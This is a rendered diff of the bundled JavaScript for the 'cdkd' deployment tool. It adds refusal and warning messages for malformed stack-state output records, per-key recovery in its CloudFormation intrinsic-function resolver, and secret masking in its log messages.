return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22375
|
+
}
|
|
22376
|
+
/**
|
|
22377
|
+
* The line a READ-ONLY command emits when a record's `exportNames` FIELD could
|
|
22378
|
+
* not be used (go-to-k/cdkd#3192 review) — present and not an array, or an
|
|
22379
|
+
* array with no usable name in it.
|
|
22380
|
+
*
|
|
22381
|
+
* Why a message at all, when the predicate already fails closed: before this
|
|
22382
|
+
* class was guarded, `cdkd diff` over such a record died with
|
|
22383
|
+
* `TypeError: state.exportNames.filter is not a function`. Failing closed
|
|
22384
|
+
* inside `importableOutputKeys` is right — it is a pure predicate reached from
|
|
22385
|
+
* five commands and holds no stack identity — but silently replacing a LOUD
|
|
22386
|
+
* wrong answer with a QUIET one is its own regression, and `cdkd diff` is
|
|
22387
|
+
* exactly the caller that DOES hold the identity. Without this it warned about
|
|
22388
|
+
* a damaged `outputs` bag on one line and said nothing about the damaged
|
|
22389
|
+
* `exportNames` on the same record.
|
|
22390
|
+
*
|
|
22391
|
+
* Deliberately NOT {@link malformedOutputsWarning}'s text: that one is about
|
|
22392
|
+
* the BAG, and the consequence differs. An unusable export SET does not lose
|
|
22393
|
+
* the comparison's left-hand side — every stored key is still diffed — it
|
|
22394
|
+
* makes the preview report no key as an export, so a row that would carry
|
|
22395
|
+
* `[export]` renders without it.
|
|
22396
|
+
*
|
|
22397
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22398
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22399
|
+
*/
|
|
22400
|
+
function malformedExportNamesWarning(stackName, region) {
|
|
22401
|
+
const stack = safeIdentifier(stackName);
|
|
22402
|
+
const reg = safeIdentifier(region);
|
|
22403
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22404
|
+
}
|
|
22405
|
+
/**
|
|
22406
|
+
* For a command that can WRITE state: refuse a record whose `outputs` bag
|
|
22407
|
+
* cannot be read, instead of rebuilding it (issue go-to-k/cdkd#3192).
|
|
22408
|
+
*
|
|
22409
|
+
* The SIBLING of {@link refuseMalformedState}, and deliberately a second call
|
|
22410
|
+
* rather than a widening of that one. A record can be malformed in either
|
|
22411
|
+
* container alone, the two carry different consequences, and the refusal a user
|
|
22412
|
+
* sees must name the container that is actually broken — a `resources` message
|
|
22413
|
+
* printed over an intact resource map tells them not to run `cdkd deploy` for a
|
|
22414
|
+
* reason that does not hold.
|
|
22415
|
+
*
|
|
22416
|
+
* Why REFUSE and not {@link repairMalformedOutputsForReadOnly}, which is the
|
|
22417
|
+
* opposite answer for the same container one function up: repairing the bag and
|
|
22418
|
+
* then saving it IS the laundering this is here to stop. Measured, not
|
|
22419
|
+
* reasoned — `rewriteResourceReferences` turns `outputs: 'abcdef'` into
|
|
22420
|
+
* `{"0":"a",…,"5":"f"}` and `cdkd orphan` saves that; `cdkd scrub`'s
|
|
22421
|
+
* `redactUnaccountedOutputs` spreads the same string into a map and its
|
|
22422
|
+
* `outputsChanged` compare then satisfies the `recordsChanged > 0` write gate;
|
|
22423
|
+
* `cdkd import` carries a `null` bag through `?? {}`. Each one rewrites a
|
|
22424
|
+
* damaged record into a well-formed one and the evidence is gone.
|
|
22425
|
+
*
|
|
22426
|
+
* CALL IT AT THE LOAD, beside {@link refuseMalformedState} and above the first
|
|
22427
|
+
* expression that reads the bag — the placement rule
|
|
22428
|
+
* {@link repairMalformedResourcesForReadOnly}'s note records, for the reason it
|
|
22429
|
+
* records: a guard written at the rebuild leaves every earlier dereference in
|
|
22430
|
+
* front of it.
|
|
22431
|
+
*/
|
|
22432
|
+
function refuseMalformedOutputs(state, stackName, region) {
|
|
22433
|
+
if (hasReadableOutputs(state)) return;
|
|
22434
|
+
throw new CdkdError(malformedOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
22435
|
+
}
|
|
22436
|
+
/**
|
|
22437
|
+
* The DESTROY refusal text (issue
|
|
22438
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
22439
|
+
*
|
|
22440
|
+
* A FOURTH outputs text rather than {@link malformedOutputsRefusalMessage},
|
|
22441
|
+
* for the reason every text in this module is its own: that one says the
|
|
22442
|
+
* command "REBUILDS the bag before saving", which is FALSE here. A destroy
|
|
22443
|
+
* never rebuilds the bag — its incremental preserve-writes CLEAR `outputs`
|
|
22444
|
+
* outright. What it does with the bag instead is DECIDE, and the decision is
|
|
22445
|
+
* the strong-reference pre-flight: `state.outputs && Object.keys(...).length >
|
|
22446
|
+
* 0` asks "might this stack be a producer?", and only a positive answer runs
|
|
22447
|
+
* the cross-stack scan that refuses to delete an exporter while an importer
|
|
22448
|
+
* exists.
|
|
22449
|
+
*
|
|
22450
|
+
* Both directions of that question are wrong on a damaged bag, which is why
|
|
22451
|
+
* repairing is not available here. A STRING or a LIST answers YES for the
|
|
22452
|
+
* wrong reason — `Object.keys('abcdef')` is six fabricated names — and a
|
|
22453
|
+
* `null`, a number or a boolean answers NO, so the scan is SKIPPED and the
|
|
22454
|
+
* destroy deletes a producer other stacks still `Fn::ImportValue` from.
|
|
22455
|
+
* Reading the bag as empty (the read-only repair) IS that second answer, so
|
|
22456
|
+
* the only answer that fabricates nothing and skips no protection is to stop.
|
|
22457
|
+
*
|
|
22458
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22459
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22460
|
+
*/
|
|
22461
|
+
function malformedDestroyOutputsRefusalMessage(stackName, region) {
|
|
22462
|
+
const stack = safeIdentifier(stackName);
|
|
22463
|
+
const reg = safeIdentifier(region);
|
|
22464
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22465
|
+
}
|
|
22466
|
+
/**
|
|
22467
|
+
* For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `outputs`
|
|
22468
|
+
* bag cannot be read (issue
|
|
22469
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
22470
|
+
*
|
|
22471
|
+
* A SEPARATE call from {@link refuseMalformedOutputs} rather than a flag on
|
|
22472
|
+
* it, for the same reason {@link refuseMalformedOutputs} is separate from
|
|
22473
|
+
* {@link refuseMalformedState}: the refusal a user sees must describe what
|
|
22474
|
+
* THIS command would have done with the bag, and the two consequences are
|
|
22475
|
+
* different — see {@link malformedDestroyOutputsRefusalMessage}.
|
|
22476
|
+
*
|
|
22477
|
+
* CALL IT AT THE TOP OF THE DESTROY, above the strong-reference decision it
|
|
22478
|
+
* protects. The placement rule is
|
|
22479
|
+
* {@link repairMalformedResourcesForReadOnly}'s and applies unchanged.
|
|
22480
|
+
*/
|
|
22481
|
+
function refuseMalformedOutputsForDestroy(state, stackName, region) {
|
|
22482
|
+
if (hasReadableOutputs(state)) return;
|
|
22483
|
+
throw markNonRetryable(new CdkdError(malformedDestroyOutputsRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED));
|
|
22484
|
+
}
|
|
22485
|
+
/**
|
|
22486
|
+
* The NESTED-STACK refusal text (issue
|
|
22487
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
22488
|
+
*
|
|
22489
|
+
* A FIFTH text, and the one whose damaged record and saved record are
|
|
22490
|
+
* DIFFERENT stacks. `NestedStackProvider.readChildOutputsAsAttributes` reads
|
|
22491
|
+
* the CHILD's persisted bag and rebuilds it into the PARENT's
|
|
22492
|
+
* `Outputs.<Key>` attributes; the parent's deploy then persists those
|
|
22493
|
+
* attributes into the parent's own record, where every `Fn::GetAtt` against
|
|
22494
|
+
* the nested stack resolves them — into live AWS calls. So a six-character
|
|
22495
|
+
* child bag becomes six fabricated parent attributes, and
|
|
22496
|
+
* {@link malformedOutputsRefusalMessage}'s "saved back as a well-formed
|
|
22497
|
+
* six-key map ... republished into the shared exports index" would name the
|
|
22498
|
+
* wrong record and the wrong blast radius.
|
|
22499
|
+
*
|
|
22500
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22501
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22502
|
+
*/
|
|
22503
|
+
function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
|
|
22504
|
+
const stack = safeIdentifier(childStackName);
|
|
22505
|
+
const reg = safeIdentifier(region);
|
|
22506
|
+
return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22507
|
+
}
|
|
22508
|
+
/**
|
|
22509
|
+
* For the nested-stack provider: refuse a CHILD record whose `outputs` bag
|
|
22510
|
+
* cannot be read (issue [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
22511
|
+
*
|
|
22512
|
+
* The provider itself calls no `saveState`, and that is why this is a refusal
|
|
22513
|
+
* rather than a repair anyway: what it returns becomes the parent's
|
|
22514
|
+
* `ResourceState.attributes`, which the parent's deploy engine persists. Being
|
|
22515
|
+
* write-capable THROUGH A CALLER is the same hazard as writing directly, and
|
|
22516
|
+
* repairing here would put a well-formed fabricated attribute set into the
|
|
22517
|
+
* parent's record with nothing left to say the child was damaged.
|
|
22518
|
+
*/
|
|
22519
|
+
function refuseMalformedNestedChildOutputs(state, childStackName, region) {
|
|
22520
|
+
if (hasReadableOutputs(state)) return;
|
|
22521
|
+
throw markNonRetryable(new CdkdError(malformedNestedChildOutputsRefusalMessage(childStackName, region), STATE_RESOURCES_MALFORMED));
|
|
22522
|
+
}
|
|
22523
|
+
/**
|
|
22524
|
+
* The warning the `cdkd local *` commands emit for a record whose `outputs`
|
|
22525
|
+
* bag they had to read as EMPTY (issue
|
|
22526
|
+
* [#3207](https://github.com/go-to-k/cdkd/issues/3207)).
|
|
22527
|
+
*
|
|
22528
|
+
* A SIXTH text, and the only one on this container for a READ-ONLY caller
|
|
22529
|
+
* other than {@link malformedOutputsWarning}. It is not that one because the
|
|
22530
|
+
* consequence differs the same way every text in this module differs: that one
|
|
22531
|
+
* describes a DIFF continuing with an empty left-hand side and reporting every
|
|
22532
|
+
* resolved output as an `ADD`. A local run reports no rows at all — it
|
|
22533
|
+
* SUBSTITUTES, so the visible effect is an environment variable or a
|
|
22534
|
+
* `Fn::GetStackOutput` / `Fn::ImportValue` reference that resolves to nothing
|
|
22535
|
+
* and is dropped with a per-key warning, which is what "the record holds no
|
|
22536
|
+
* outputs" also looks like.
|
|
22537
|
+
*
|
|
22538
|
+
* TWO call sites share it, deliberately: `S3LocalStateProvider.load` reading
|
|
22539
|
+
* the TARGET stack's record, and `buildCrossStackResolver`'s
|
|
22540
|
+
* `Fn::GetStackOutput` arm reading a PRODUCER's. The record named is whichever
|
|
22541
|
+
* one is damaged, and the consequence is identical — which is why one text is
|
|
22542
|
+
* right here and a second spelling would only drift.
|
|
22543
|
+
*
|
|
22544
|
+
* Read-only is a property of these callers rather than of the command:
|
|
22545
|
+
* `cdkd local` writes no `state.json`. It CAN write one DERIVED key —
|
|
22546
|
+
* `ExportIndexStore.load` rebuilds and PUTs `cdkd/_index/<region>/exports.json`
|
|
22547
|
+
* on a miss — and that write is already fail-closed and warned about by
|
|
22548
|
+
* `hasReadableExportSet` / {@link malformedExportSourceWarning}, so nothing
|
|
22549
|
+
* here can launder a record.
|
|
22550
|
+
*
|
|
22551
|
+
* Identifiers are sanitized and THEN shell-quoted and the command is emitted
|
|
22552
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
22553
|
+
*/
|
|
22554
|
+
function malformedLocalOutputsWarning(stackName, region) {
|
|
22555
|
+
const stack = safeIdentifier(stackName);
|
|
22556
|
+
const reg = safeIdentifier(region);
|
|
22557
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so reading it would hand this local run one FABRICATED output per character or element. Continuing with it EMPTY: every reference to an output of this record resolves to nothing and is dropped, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
22558
|
+
}
|
|
22559
|
+
|
|
21747
22560
|
//#endregion
|
|
21748
22561
|
//#region src/provisioning/config-shape.ts
|
|
21749
22562
|
/**
|
|
@@ -23744,6 +24557,82 @@ function nestedStackChildRegionFromLocalArn(physicalId) {
|
|
|
23744
24557
|
if (typeof physicalId !== "string") return void 0;
|
|
23745
24558
|
return NESTED_STACK_LOCAL_ARN.exec(physicalId)?.[1];
|
|
23746
24559
|
}
|
|
24560
|
+
/**
|
|
24561
|
+
* The prefix every dynamic-reference diagnostic this resolver spells carries.
|
|
24562
|
+
*
|
|
24563
|
+
* Exported because `cdkd scrub` applies the SAME partition on its side and must
|
|
24564
|
+
* not keep a second spelling of it (issue #1936's rule, one layer up): a bare
|
|
24565
|
+
* marker tail is reachable from text this resolver did not write — `Parameter X
|
|
24566
|
+
* is required but no value was provided` comes out of `resolveParameters` — so
|
|
24567
|
+
* the prefix is what makes the match an assertion about OWNERSHIP.
|
|
24568
|
+
*/
|
|
24569
|
+
const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
|
|
24570
|
+
/**
|
|
24571
|
+
* Does `source` carry a `{{resolve:...}}` reference that could actually be
|
|
24572
|
+
* FETCHED — one not still awaiting an `Fn::Sub` placeholder?
|
|
24573
|
+
*
|
|
24574
|
+
* Moved here from `cdkd scrub` (issue go-to-k/cdkd#3181), which still imports
|
|
24575
|
+
* it, because the resolver needs the same question answered per abandoned UNIT
|
|
24576
|
+
* and issue #1936 forbids a second spelling of the token pattern.
|
|
24577
|
+
*
|
|
24578
|
+
* The distinction it draws is between "nobody could have resolved this" and
|
|
24579
|
+
* "this one was resolvable and was not resolved" — the line between merely
|
|
24580
|
+
* REPORTING an abandonment and letting it gate an exit code.
|
|
24581
|
+
*/
|
|
24582
|
+
function carriesFetchableDynamicReference(source) {
|
|
24583
|
+
if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
|
|
24584
|
+
if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
|
|
24585
|
+
if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
|
|
24586
|
+
return false;
|
|
24587
|
+
}
|
|
24588
|
+
/**
|
|
24589
|
+
* The NAMELESS spellings, which REFUSE rather than fail to fetch.
|
|
24590
|
+
*
|
|
24591
|
+
* `{{resolve:secretsmanager:}}` with an empty argument is a structurally broken
|
|
24592
|
+
* template, and no substitution produces one — an unresolved `Fn::Sub` keeps its
|
|
24593
|
+
* literal `${...}`. `cdkd scrub` has refused on these since
|
|
24594
|
+
* [#2692](https://github.com/go-to-k/cdkd/issues/2692), so the per-unit
|
|
24595
|
+
* recovery must not quietly downgrade one to a skipped token.
|
|
24596
|
+
*/
|
|
24597
|
+
const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
|
|
24598
|
+
/**
|
|
24599
|
+
* `err` is a refusal this resolver took ON PURPOSE rather than a step that
|
|
24600
|
+
* failed, so the per-unit recovery must re-raise it and abort the walk.
|
|
24601
|
+
*
|
|
24602
|
+
* The partition is the one `cdkd scrub` already applies on its side
|
|
24603
|
+
* (go-to-k/cdkd#3178), drawn by OWNERSHIP rather than vocabulary: every refusal
|
|
24604
|
+
* here is one THIS repo decides and spells, which is what makes matching it
|
|
24605
|
+
* sound in a way that matching AWS's error text never is. Everything else — any
|
|
24606
|
+
* SDK rejection, any shape this cannot classify — is treated as a failed step
|
|
24607
|
+
* and RECORDED. That asymmetry is deliberate: the residual is a unit reported
|
|
24608
|
+
* as unresolved, never a refusal silently skipped.
|
|
24609
|
+
*
|
|
24610
|
+
* The two halves of the message test open the partition in DIFFERENT
|
|
24611
|
+
* directions, and their EVIDENCE differs — stated separately rather than
|
|
24612
|
+
* asserted together, because only one of them is demonstrated.
|
|
24613
|
+
*
|
|
24614
|
+
* {@link DYNAMIC_REFERENCE_PREFIX} is REACHABLE and tested: a secret id is
|
|
24615
|
+
* template-assembled, so AWS's rejection echoes the name it was handed, and a
|
|
24616
|
+
* parameter named after a marker puts the bare tail inside a message this repo
|
|
24617
|
+
* did not write. Matching the tail alone reads that as a refusal and disarms
|
|
24618
|
+
* recovery for the leaf — restoring exactly the loss #3181 removes.
|
|
24619
|
+
*
|
|
24620
|
+
* The CAUSE walk is defence in depth, and NO reachable wrapping of one of these
|
|
24621
|
+
* throws was found from inside either walk's `try` (the in-repo precedent for
|
|
24622
|
+
* the shape is `role-arn.ts`). It is kept because the two failure directions
|
|
24623
|
+
* are not symmetric: an unrecognised refusal is recorded and walked past, which
|
|
24624
|
+
* is the one residual this partition promises cannot happen, while the cost of
|
|
24625
|
+
* the walk is a bounded chain read. Do not cite it as fenced — it is not.
|
|
24626
|
+
*/
|
|
24627
|
+
function isNamelessDynamicReferenceError(err) {
|
|
24628
|
+
if (!(err instanceof Error)) return false;
|
|
24629
|
+
return errorCauseChain(err).some((link) => link.message.includes("Dynamic reference: ") && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((m) => link.message.includes(m)));
|
|
24630
|
+
}
|
|
24631
|
+
function isDeliberateResolutionRefusal(err) {
|
|
24632
|
+
if (!(err instanceof Error)) return false;
|
|
24633
|
+
if (errorCauseChain(err).some((link) => link instanceof IntrinsicResolutionRefusalError)) return true;
|
|
24634
|
+
return isNamelessDynamicReferenceError(err);
|
|
24635
|
+
}
|
|
23747
24636
|
let cachedAccountIdentity = null;
|
|
23748
24637
|
/**
|
|
23749
24638
|
* Cache for availability zones per region
|
|
@@ -24975,7 +25864,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
24975
25864
|
if (!targetRegion) return ambient;
|
|
24976
25865
|
const target = canonicalizeRegion(targetRegion);
|
|
24977
25866
|
const loggedTarget = targetLogText ?? (targetRegion === this.explicitRegion ? this.explicitRegionLogText : void 0) ?? target;
|
|
24978
|
-
if (!isClientSafeRegion(target)) throw new
|
|
25867
|
+
if (!isClientSafeRegion(target)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`));
|
|
24979
25868
|
if (typeof ambient.withRegion !== "function") return ambient;
|
|
24980
25869
|
const cached = this.regionScopedClients.get(target);
|
|
24981
25870
|
if (cached) return cached;
|
|
@@ -25171,8 +26060,54 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
25171
26060
|
this.logger.warn(`A resolution failed while ${parts} still running, and cdkd stopped waiting because the wait after a failure (capped at ${capSeconds}s) was used up. A secret such a part resolves from now on is still recorded, but only what runs after it arrives can mask it: output already printed or saved is not revisited.`);
|
|
25172
26061
|
}
|
|
25173
26062
|
/**
|
|
25174
|
-
*
|
|
25175
|
-
|
|
26063
|
+
* Resolve ONE key of a bag, recovering per key when the caller opted in.
|
|
26064
|
+
*
|
|
26065
|
+
* Shared by the two sequential key walks that had this defect — the generic
|
|
26066
|
+
* object walk in {@link resolveValue} and `resolveSub`'s variable map — so
|
|
26067
|
+
* the recovery and the REFUSAL partition cannot drift between them. Both were
|
|
26068
|
+
* bare `for … await` loops, so the first failing key abandoned every later
|
|
26069
|
+
* one (issue go-to-k/cdkd#3218; the variable map was found beside it and is
|
|
26070
|
+
* the same defect, not a second one).
|
|
26071
|
+
*
|
|
26072
|
+
* An abandoned key keeps its INPUT value, matching what the per-token
|
|
26073
|
+
* recovery does with an unfetched token. That is safe only because the bag
|
|
26074
|
+
* obliges its consumer to fail the operation — `ResolverContext`'s field doc
|
|
26075
|
+
* carries the obligation and why it is not optional.
|
|
26076
|
+
*
|
|
26077
|
+
* **The log-twin invariant (issue go-to-k/cdkd#3100) under the KEY ordering**,
|
|
26078
|
+
* which is a separate claim from the token one and was missing while the
|
|
26079
|
+
* token half was stated twice. `matches` / `twinTokens` are built inside
|
|
26080
|
+
* `resolveDynamicReferencesWithLogTwin`, once per STRING LEAF, so the
|
|
26081
|
+
* pairing is leaf-local: a key abandoned beside a leaf never enters that
|
|
26082
|
+
* function for it and cannot shift its indices. Skipping a key changes only
|
|
26083
|
+
* WHICH leaves are visited, never how any visited leaf pairs — and a leaf
|
|
26084
|
+
* that is skipped pairs nothing at all rather than pairing wrongly. Fenced
|
|
26085
|
+
* by the key case in
|
|
26086
|
+
* `tests/unit/deployment/intrinsic-resolver-recovered-sibling-log-masking.test.ts`.
|
|
26087
|
+
*
|
|
26088
|
+
* **Both call sites reach it only when a bag is present, and that gate lives
|
|
26089
|
+
* at the CALL SITE rather than in here on purpose.** `resolveValue` recurses
|
|
26090
|
+
* once per nesting level, so routing every level through a second async
|
|
26091
|
+
* frame roughly doubles the resolver's frame cost for a deeply nested
|
|
26092
|
+
* property and lowers the depth at which it raises `RangeError`. An early
|
|
26093
|
+
* return inside this method would not help — the frame is created by the
|
|
26094
|
+
* call. Gating outside leaves every caller that passes no bag (deploy, diff,
|
|
26095
|
+
* drift, rollback) on exactly the pre-#3218 call shape, which is what makes
|
|
26096
|
+
* "a bagless caller is unchanged" true in the stack dimension too. Measured,
|
|
26097
|
+
* not reasoned: the heavier shape inverted the frame-weight ordering that
|
|
26098
|
+
* `tests/unit/cli/import-observed-baseline-refusal-matrix.test.ts` bisects
|
|
26099
|
+
* for, and that is how it was caught rather than shipped.
|
|
26100
|
+
*/
|
|
26101
|
+
async resolveKeyUnit(key, val, context, abandoned) {
|
|
26102
|
+
try {
|
|
26103
|
+
return await this.resolveValue(val, context);
|
|
26104
|
+
} catch (err) {
|
|
26105
|
+
if (isDeliberateResolutionRefusal(err)) throw err;
|
|
26106
|
+
abandoned.push(this.abandonedUnit("key", key, err, context, val));
|
|
26107
|
+
return val;
|
|
26108
|
+
}
|
|
26109
|
+
}
|
|
26110
|
+
/** Recursively resolve a value. */
|
|
25176
26111
|
async resolveValue(value, context) {
|
|
25177
26112
|
if (typeof value !== "object" || value === null) {
|
|
25178
26113
|
if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
|
|
@@ -25202,7 +26137,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
25202
26137
|
if (unknownIntrinsicKey !== void 0) throw buildUnknownIntrinsicError(unknownIntrinsicKey);
|
|
25203
26138
|
const resolved = {};
|
|
25204
26139
|
for (const [key, val] of Object.entries(obj)) {
|
|
25205
|
-
const resolvedVal = await this.resolveValue(val, context);
|
|
26140
|
+
const resolvedVal = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
|
|
25206
26141
|
if (resolvedVal !== AWS_NO_VALUE) {
|
|
25207
26142
|
if (key === "__proto__") Object.defineProperty(resolved, key, {
|
|
25208
26143
|
value: resolvedVal,
|
|
@@ -26471,7 +27406,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
26471
27406
|
};
|
|
26472
27407
|
variables[key] = resolved.result;
|
|
26473
27408
|
variableTwins[key] = resolved.twin;
|
|
26474
|
-
} else variables[key] = await this.resolveValue(val, context);
|
|
27409
|
+
} else variables[key] = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
|
|
26475
27410
|
} else template = subArgs;
|
|
26476
27411
|
const replacements = [];
|
|
26477
27412
|
const matches = template.matchAll(/\$\{(!)?([^}]*)\}/g);
|
|
@@ -27186,7 +28121,8 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27186
28121
|
return await fetch;
|
|
27187
28122
|
} catch (error) {
|
|
27188
28123
|
const message = error instanceof Error ? error.message : String(error);
|
|
27189
|
-
|
|
28124
|
+
const cfnNameMask = this.positionalNameMask([[stackName, this.maskSecretsForLog(stackName, context)], [region, this.maskSecretsForLog(loggedRegionText, context)]]);
|
|
28125
|
+
this.logger.warn(`Fn::GetStackOutput: CloudFormation DescribeStacks fallback failed for stack '${this.maskSecretsForLog(stackName, context)}' (${this.maskSecretsForLog(loggedRegionText, context)}): ${this.maskSecretsForLog(cfnNameMask ? cfnNameMask(message) : message, context)}. Grant cloudformation:DescribeStacks to resolve outputs from CloudFormation-managed stacks, or pass --no-cfn-fallback to disable the fallback.`);
|
|
27190
28126
|
return;
|
|
27191
28127
|
}
|
|
27192
28128
|
}
|
|
@@ -27311,7 +28247,12 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27311
28247
|
const loggedOutputName = this.maskSecretsForLog(outputName, context);
|
|
27312
28248
|
const loggedRegion = this.maskSecretsForLog(loggedRegionText, context);
|
|
27313
28249
|
this.logger.debug(`Resolving Fn::GetStackOutput: StackName=${loggedStackName}, Region=${loggedRegion}, OutputName=${loggedOutputName}${roleArn ? `, RoleArn=${roleArn}` : ""}`);
|
|
27314
|
-
|
|
28250
|
+
let stateData;
|
|
28251
|
+
try {
|
|
28252
|
+
stateData = roleArn ? await this.getCrossAccountStackState(roleArn, stackName, region, context) : await this.getSameAccountStackState(stackName, region, context);
|
|
28253
|
+
} catch (error) {
|
|
28254
|
+
this.maskStateReadError(error, [[stackName, loggedStackName], [region, loggedRegion]], context);
|
|
28255
|
+
}
|
|
27315
28256
|
if (!stateData) {
|
|
27316
28257
|
if (!roleArn && this.cfnFallback) {
|
|
27317
28258
|
const cfnOutputs = await this.lookupCfnStackOutputs(stackName, region, context, loggedRegionText);
|
|
@@ -27327,6 +28268,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27327
28268
|
}
|
|
27328
28269
|
throw new Error(`Fn::GetStackOutput: stack '${loggedStackName}' not found in region '${loggedRegion}'${roleArn ? ` (cross-account via ${roleArn})` : ""}. ${!roleArn && this.cfnFallback ? "Searched cdkd state and CloudFormation stacks. Make sure the producer stack has been deployed (via cdkd or CloudFormation)." : `Make sure the producer stack has been deployed via cdkd.`}`);
|
|
27329
28270
|
}
|
|
28271
|
+
if (!hasReadableOutputs(stateData.state)) throw markNonRetryable(new MalformedProducerRecordRefusalError(`Fn::GetStackOutput: the state record of producer stack '${loggedStackName}' (${loggedRegion}) has no readable 'outputs' map — the record is malformed or truncated. cdkd refuses to resolve from it rather than reading it as a map: 'Object.hasOwn' answers TRUE for '0' on a string and for an index on a list, so continuing would resolve ONE CHARACTER or element of the record as this reference's value and this deploy would send it to AWS. Inspect the producer's record with 'cdkd state show' --json, repair or remove it, then re-run.`));
|
|
27330
28272
|
const outputs = stateData.state.outputs ?? {};
|
|
27331
28273
|
if (!Object.hasOwn(outputs, outputName)) {
|
|
27332
28274
|
const available = this.describeAvailableOutputs(Object.keys(outputs), context);
|
|
@@ -27360,6 +28302,98 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
|
|
|
27360
28302
|
});
|
|
27361
28303
|
}
|
|
27362
28304
|
/**
|
|
28305
|
+
* A text transform replacing each RAW name this frame handed to another
|
|
28306
|
+
* module with the masked spelling it holds for it (issue
|
|
28307
|
+
* [#3234](https://github.com/go-to-k/cdkd/issues/3234)), or `undefined` when
|
|
28308
|
+
* no pair carries a mask.
|
|
28309
|
+
*
|
|
28310
|
+
* This is what the BAGS structurally cannot do. A bag masks by VALUE, and a
|
|
28311
|
+
* plaintext shorter than `MIN_NEEDLE_LENGTH` matches only as the WHOLE text,
|
|
28312
|
+
* so a 1-3 character secret an `Fn::Sub` assembled into a longer name is
|
|
28313
|
+
* invisible to it — while this frame knows the exact spans.
|
|
28314
|
+
*
|
|
28315
|
+
* A pair that DOES carry a mask contributes its raw spelling AND the spelling
|
|
28316
|
+
* the reader will actually see. `S3StateBackend` prints names through
|
|
28317
|
+
* `displaySafe(..., { asciiOnly: true })`, which REPLACES every non-printable
|
|
28318
|
+
* character with a space and then trims, so a secret carrying one is a
|
|
28319
|
+
* DIFFERENT string by the time it is quoted back and matching the raw form
|
|
28320
|
+
* alone would miss it while reporting success — the one-string-space rule
|
|
28321
|
+
* `outputs-export-alias.ts` states for its own scan: the text that was tested
|
|
28322
|
+
* and the text that is printed must be the same text. The CloudFormation
